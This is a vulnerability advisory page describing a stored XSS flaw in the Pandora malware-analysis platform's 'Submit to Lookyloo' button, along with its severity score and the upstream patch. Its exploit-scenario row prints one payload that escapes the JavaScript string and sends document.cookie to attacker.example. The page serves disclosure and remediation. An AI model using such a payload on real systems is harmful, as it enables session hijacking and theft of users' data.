EUVD-2026-60465Severity by source
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:A/VC:L/VI:H/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X
Stored XSS with no auth required to inject payload, victim interaction required to trigger; scope changes to victim browser session with low confidentiality and high integrity impact.
Primary rating from Vendor (CIRCL).
CVSS VectorVendor: CIRCL
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:A/VC:L/VI:H/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X
Lifecycle Timeline
3DescriptionCVE.org
Pandora contains a stored cross-site scripting (XSS) vulnerability in the rendering of URL observables. A URL extracted from or associated with an analyzed file was inserted directly into the inline JavaScript onclick handler used by the Submit to Lookyloo action.
Although the value was subject to HTML escaping by the template engine, it was embedded inside a JavaScript string within an HTML attribute. An attacker-controlled URL containing specially crafted characters could therefore break out of the JavaScript string and inject arbitrary JavaScript code.
The malicious script would execute in the context of the Pandora web application when a victim interacts with the affected Submit to Lookyloo control. Successful exploitation could allow an attacker to access information available to the victim's browser or perform actions using the victim's authenticated Pandora session.
The patch removes the observable value from the inline JavaScript handler. The URL is instead stored in an HTML data-url attribute and retrieved through the DOM dataset API when needed. Additional uses of innerHTML were also replaced with textContent as defensive hardening.
AnalysisAI
Stored cross-site scripting in Pandora's URL observable rendering allows network-reachable attackers to inject arbitrary JavaScript that executes in the context of an authenticated victim's Pandora session when they interact with the Submit to Lookyloo control. The root cause is a JavaScript string injection context mismatch: attacker-controlled URLs extracted from submitted files were interpolated directly into inline onclick handlers, where the template engine's HTML entity encoding provides no protection. …
Unlock full vulnerability intelligence
- Risk assessment & exploitation conditions
- Attack chain visualization
- Remediation with exact patch versions
- Threat intelligence from 22 sources
- Personal watchlist & email alerts
Free forever · No credit card required
Attack ChainAIDerived
Hypothetical attack flow derived from CVE metadata
Vulnerability AssessmentAI
| Exploitation | Two sequential conditions must be met. … Additional conditions and limiting factors are described in the full assessment. |
| Risk Assessment | The CVSS 4.0 score of 7.0 with vector AV:N/AC:L/AT:N/PR:N/UI:A/VC:L/VI:H/VA:N reflects a realistically elevated risk: no attack prerequisites beyond network access and victim interaction are required for exploitation. … Full risk analysis with EPSS, KEV, and SSVC signal comparison available after sign-in. |
| Exploit Scenario | An external attacker submits a file to a publicly accessible Pandora instance; the file contains an embedded URL crafted to break out of a JavaScript string context, such as one including characters like ');fetch('https://attacker.example/steal?c='+document.cookie);//. Pandora extracts this URL as an observable and stores it in the analysis record. … |
| Remediation | Apply the upstream fix available at commit 77a84a039e2079dba7ea0342816c9813099d75d0 (https://github.com/pandora-analysis/pandora/commit/77a84a039e2079dba7ea0342816c9813099d75d0), which removes the URL observable from the inline JavaScript handler and stores it in a data-url HTML attribute retrieved via the DOM dataset API. … Detailed patch versions, workarounds, and compensating controls in full report. |
Recommended ActionAI
Within 24 hours, identify all Pandora instances and catalog their deployment scope and data exposure. …
Sign in for detailed remediation steps and compensating controls.
Threat intelligence, references, and detailed analysis are available after sign-in.
Pandora iOS app prior to version 8.3.2 fails to properly validate SSL certificates provided by HTTPS connections, which
The transfer and transferFrom functions of a smart contract implementation for Pandora (PDX), an Ethereum token, have an
Stored XSS in the Pandora malware analysis platform's PDF download endpoint allows attacker-controlled JavaScript to exe
workers/extractor.py in Pandora (aka pandora-analysis/pandora) 1.3.0 allows a denial of service when an attacker submits
Same weakness CWE-79 – Cross-site Scripting (XSS)
View allShare
External POC / Exploit Code
Leaving vuln.today